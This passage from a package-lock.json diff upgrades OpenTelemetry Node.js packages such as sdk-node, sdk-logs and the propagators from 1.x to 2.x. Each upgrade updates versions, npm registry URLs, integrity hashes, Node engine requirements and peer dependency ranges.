"sha512-OppYOXwV9LQqqtYUCywqoOqX/JT9LQ5/FMuPZ//eTkvuHdUC4ZMwz2c6uSoT2R90GWvvGnF1iEqTGyTT3xAt2Q==", + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-transformer/-/otlp-transformer-0.203.0.tgz", + "integrity": "sha512-Y8I6GgoCna0qDQ2W6GCRtaF24SnvqvA8OfeTi7fqigD23u8Jpb4R5KFv/pRvrlGagcCLICMIyh9wiejp4TXu/A==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/api-logs": "0.51.1", - "@opentelemetry/core": "1.24.1", - "@opentelemetry/resources": "1.24.1", - "@opentelemetry/sdk-logs": "0.51.1", - "@opentelemetry/sdk-metrics": "1.24.1", - "@opentelemetry/sdk-trace-base": "1.24.1" + "@opentelemetry/api-logs": "0.203.0", + "@opentelemetry/core": "2.0.1", + "@opentelemetry/resources": "2.0.1", + "@opentelemetry/sdk-logs": "0.203.0", + "@opentelemetry/sdk-metrics": "2.0.1", + "@opentelemetry/sdk-trace-base": "2.0.1", + "protobufjs": "^7.3.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.9.0" + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/api-logs": { + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.203.0.tgz", + "integrity": "sha512-9B9RU0H7Ya1Dx/Rkyc4stuBZSGVQF27WigitInx2QQoj6KUpEFYPKoWjdFTunJYxmXmh17HeBvbMa1EhGyPmqQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api": "^1.3.0" + }, + "engines": { + "node": ">=8.0.0" } }, "node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/core": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz", - "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" + "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/resources": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.24.1.tgz", - "integrity": "sha512-cyv0MwAaPF7O86x5hk3NNgenMObeejZFLJJDVuSeSMIsknlsj3oOZzRv3qSzlwYomXsICfBeFFlxwHQte5mGXQ==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz", + "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/core": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" + "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/sdk-trace-base": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-1.24.1.tgz", - "integrity": "sha512-zz+N423IcySgjihl2NfjBf0qw1RWe11XIAWVrTNOSSI6dtSPJiVom2zipFB2AEEtJWpv0Iz6DY6+TjnyTV5pWg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.0.1.tgz", + "integrity": "sha512-xYLlvk/xdScGx1aEqvxLwf6sXQLXCjk3/1SQT9X9AoN5rXRhkdvIFShuNNmtTEPRBqcsMbS4p/gJLNI2wXaDuQ==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/resources": "1.24.1", - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/core": "2.0.1", + "@opentelemetry/resources": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/semantic-conventions": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz", - "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" + "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "node_modules/@opentelemetry/propagator-b3": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/propagator-b3/-/propagator-b3-1.24.1.tgz", - "integrity": "sha512-nda97ZwhpZKyUJTXqQuKzNhPMUgMLunbbGWn8kroBwegn+nh6OhtyGkrVQsQLNdVKJl0KeB5z0ZgeWszrYhwFw==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/propagator-b3/-/propagator-b3-2.0.1.tgz", + "integrity": "sha512-Hc09CaQ8Tf5AGLmf449H726uRoBNGPBL4bjr7AnnUpzWMvhdn61F78z9qb6IqB737TffBsokGAK1XykFEZ1igw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.24.1" + "@opentelemetry/core": "2.0.1" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" + "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "node_modules/@opentelemetry/propagator-b3/node_modules/@opentelemetry/core": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz", - "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/propagator-b3/node_modules/@opentelemetry/semantic-conventions": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz", - "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" + "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "node_modules/@opentelemetry/propagator-jaeger": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/propagator-jaeger/-/propagator-jaeger-1.24.1.tgz", - "integrity": "sha512-7bRBJn3FG1l195A1m+xXRHvgzAOBsfmRi9uZ5Da18oTh7BLmNDiA8+kpk51FpTsU1PCikPVpRDNPhKVB6lyzZg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/propagator-jaeger/-/propagator-jaeger-2.0.1.tgz", + "integrity": "sha512-7PMdPBmGVH2eQNb/AtSJizQNgeNTfh6jQFqys6lfhd6P4r+m/nTh3gKPPpaCXVdRQ+z93vfKk+4UGty390283w==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.24.1" + "@opentelemetry/core": "2.0.1" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" + "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "node_modules/@opentelemetry/propagator-jaeger/node_modules/@opentelemetry/core": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz", - "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/propagator-jaeger/node_modules/@opentelemetry/semantic-conventions": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz", - "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" + "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "node_modules/@opentelemetry/resources": { - "version": "1.30.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.30.1.tgz", - "integrity": "sha512-5UxZqiAgLYGFjS4s9qm5mBVo433u+dSPUFWVWXmLAD4wB65oMCoXaJP1KJa9DIYYMeHu3z4BZcStG3LC593cWA==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.2.0.tgz", + "integrity": "sha512-1pNQf/JazQTMA0BiO5NINUzH0cbLbbl7mntLa4aJNmCCXSj0q03T5ZXXL0zw4G55TjdL9Tz32cznGClf+8zr5A==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.30.1", - "@opentelemetry/semantic-conventions": "1.28.0" + "@opentelemetry/core": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" + "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "node_modules/@opentelemetry/sdk-logs": { - "version": "0.51.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.51.1.tgz", - "integrity": "sha512-ULQQtl82b673PpZc5/0EtH4V+BrwVOgKJZEB7tYZnGTG3I98tQVk89S9/JSixomDr++F4ih+LSJTCqIKBz+MQQ==", + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.203.0.tgz", + "integrity": "sha512-vM2+rPq0Vi3nYA5akQD2f3QwossDnTDLvKbea6u/A2NZ3XDkPxMfo/PNrDoXhDUD/0pPo2CdH5ce/thn9K0kLw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/resources": "1.24.1" + "@opentelemetry/api-logs": "0.203.0", + "@opentelemetry/core": "2.0.1", + "@opentelemetry/resources": "2.0.1" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.4.0 <1.9.0", - "@opentelemetry/api-logs": ">=0.39.1" + "@opentelemetry/api": ">=1.4.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-logs/node_modules/@opentelemetry/api-logs": { + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.203.0.tgz", + "integrity": "sha512-9B9RU0H7Ya1Dx/Rkyc4stuBZSGVQF27WigitInx2QQoj6KUpEFYPKoWjdFTunJYxmXmh17HeBvbMa1EhGyPmqQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api": "^1.3.0" + }, + "engines": { + "node": ">=8.0.0" } }, "node_modules/@opentelemetry/sdk-logs/node_modules/@opentelemetry/core": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz", - "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/sdk-logs/node_modules/@opentelemetry/resources": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.24.1.tgz", - "integrity": "sha512-cyv0MwAaPF7O86x5hk3NNgenMObeejZFLJJDVuSeSMIsknlsj3oOZzRv3qSzlwYomXsICfBeFFlxwHQte5mGXQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/semantic-conventions": "1.24.1" - }, - "engines": { - "node": ">=14" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/sdk-logs/node_modules/@opentelemetry/semantic-conventions": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz", - "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/@opentelemetry/sdk-metrics": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-1.24.1.tgz", - "integrity": "sha512-FrAqCbbGao9iKI+Mgh+OsC9+U2YMoXnlDHe06yH7dvavCKzE3S892dGtX54+WhSFVxHR/TMRVJiK/CV93GR0TQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/resources": "1.24.1", - "lodash.merge": "^4.6.2" - }, - "engines": { - "node": ">=14" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/sdk-metrics/node_modules/@opentelemetry/core": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz", - "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "1.24.1" - }, - "engines": { - "node": ">=14" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/sdk-metrics/node_modules/@opentelemetry/resources": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.24.1.tgz", - "integrity": "sha512-cyv0MwAaPF7O86x5hk3NNgenMObeejZFLJJDVuSeSMIsknlsj3oOZzRv3qSzlwYomXsICfBeFFlxwHQte5mGXQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/semantic-conventions": "1.24.1" - }, - "engines": { - "node": ">=14" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/sdk-metrics/node_modules/@opentelemetry/semantic-conventions": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz", - "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/@opentelemetry/sdk-node": { - "version": "0.51.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-node/-/sdk-node-0.51.1.tgz", - "integrity": "sha512-GgmNF9C+6esr8PIJxCqHw84rEOkYm6XdFWZ2+Wyc3qaUt92ACoN7uSw5iKNvaUq62W0xii1wsGxwHzyENtPP8w==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/api-logs": "0.51.1", - "@opentelemetry/core": "1.24.1", - "@opentelemetry/exporter-trace-otlp-grpc": "0.51.1", - "@opentelemetry/exporter-trace-otlp-http": "0.51.1", - "@opentelemetry/exporter-trace-otlp-proto": "0.51.1", - "@opentelemetry/exporter-zipkin": "1.24.1", - "@opentelemetry/instrumentation": "0.51.1", - "@opentelemetry/resources": "1.24.1", - "@opentelemetry/sdk-logs": "0.51.1", - "@opentelemetry/sdk-metrics": "1.24.1", - "@opentelemetry/sdk-trace-base": "1.24.1", - "@opentelemetry/sdk-trace-node": "1.24.1", - "@opentelemetry/semantic-conventions": "1.24.1" - }, - "engines": { - "node": ">=14" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/core": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz", - "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "1.24.1" - }, - "engines": { - "node": ">=14" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/resources": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.24.1.tgz", - "integrity": "sha512-cyv0MwAaPF7O86x5hk3NNgenMObeejZFLJJDVuSeSMIsknlsj3oOZzRv3qSzlwYomXsICfBeFFlxwHQte5mGXQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/semantic-conventions": "1.24.1" - }, - "engines": { - "node": ">=14" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/sdk-trace-base": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-1.24.1.tgz", - "integrity": "sha512-zz+N423IcySgjihl2NfjBf0qw1RWe11XIAWVrTNOSSI6dtSPJiVom2zipFB2AEEtJWpv0Iz6DY6+TjnyTV5pWg==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/resources": "1.24.1", - "@opentelemetry/semantic-conventions": "1.24.1" - }, - "engines": { - "node": ">=14" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/semantic-conventions": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz", - "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/@opentelemetry/sdk-trace-base": { - "version": "1.30.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-1.30.1.tgz", - "integrity": "sha512-jVPgBbH1gCy2Lb7X0AVQ8XAfgg0pJ4nvl8/IiQA6nxOsPvS+0zMJaFSs2ltXe0J6C8dqjcnpyqINDJmU30+uOg==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "1.30.1", - "@opentelemetry/resources": "1.30.1", - "@opentelemetry/semantic-conventions": "1.28.0" - }, - "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, - "node_modules/@opentelemetry/sdk-trace-node": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-node/-/sdk-trace-node-1.24.1.tgz", - "integrity": "sha512-/FZX8uWaGIAwsDhqI8VvQ+qWtfMNlXjaFYGc+vmxgdRFppCSSIRwrPyIhJO1qx61okyYhoyxVEZAfoiNxrfJCg==", + "node_modules/@opentelemetry/sdk-logs/node_modules/@opentelemetry/resources": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz", + "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/context-async-hooks": "1.24.1", - "@opentelemetry/core": "1.24.1", - "@opentelemetry/propagator-b3": "1.24.1", - "@opentelemetry/propagator-jaeger": "1.24.1", - "@opentelemetry/sdk-trace-base": "1.24.1", - "semver": "^7.5.2" + "@opentelemetry/core": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-metrics": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.0.1.tgz", + "integrity": "sha512-wf8OaJoSnujMAHWR3g+/hGvNcsC16rf9s1So4JlMiFaFHiE4HpIA3oUh+uWZQ7CNuK8gVW/pQSkgoa5HkkOl0g==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.0.1", + "@opentelemetry/resources": "2.0.1" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-metrics/node_modules/@opentelemetry/core": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-metrics/node_modules/@opentelemetry/resources": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz", + "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-node": { + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-node/-/sdk-node-0.203.0.tgz", + "integrity": "sha512-zRMvrZGhGVMvAbbjiNQW3eKzW/073dlrSiAKPVWmkoQzah9wfynpVPeL55f9fVIm0GaBxTLcPeukWGy0/Wj7KQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.203.0", + "@opentelemetry/core": "2.0.1", + "@opentelemetry/exporter-logs-otlp-grpc": "0.203.0", + "@opentelemetry/exporter-logs-otlp-http": "0.203.0", + "@opentelemetry/exporter-logs-otlp-proto": "0.203.0", + "@opentelemetry/exporter-metrics-otlp-grpc": "0.203.0", + "@opentelemetry/exporter-metrics-otlp-http": "0.203.0", + "@opentelemetry/exporter-metrics-otlp-proto": "0.203.0", + "@opentelemetry/exporter-prometheus": "0.203.0", + "@opentelemetry/exporter-trace-otlp-grpc": "0.203.0", + "@opentelemetry/exporter-trace-otlp-http": "0.203.0", + "@opentelemetry/exporter-trace-otlp-proto": "0.203.0", + "@opentelemetry/exporter-zipkin": "2.0.1", + "@opentelemetry/instrumentation": "0.203.0", + "@opentelemetry/propagator-b3": "2.0.1", + "@opentelemetry/propagator-jaeger": "2.0.1", + "@opentelemetry/resources": "2.0.1", + "@opentelemetry/sdk-logs": "0.203.0", + "@opentelemetry/sdk-metrics": "2.0.1", + "@opentelemetry/sdk-trace-base": "2.0.1", + "@opentelemetry/sdk-trace-node": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/api-logs": { + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.203.0.tgz", + "integrity": "sha512-9B9RU0H7Ya1Dx/Rkyc4stuBZSGVQF27WigitInx2QQoj6KUpEFYPKoWjdFTunJYxmXmh17HeBvbMa1EhGyPmqQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api": "^1.3.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/core": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/instrumentation": { + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/instrumentation/-/instrumentation-0.203.0.tgz", + "integrity": "sha512-ke1qyM+3AK2zPuBPb6Hk/GCsc5ewbLvPNkEuELx/JmANeEp6ZjnZ+wypPAJSucTw0wvCGrUaibDSdcrGFoWxKQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.203.0", + "import-in-the-middle": "^1.8.1", + "require-in-the-middle": "^7.1.1" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/resources": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz", + "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.0.1.tgz", + "integrity": 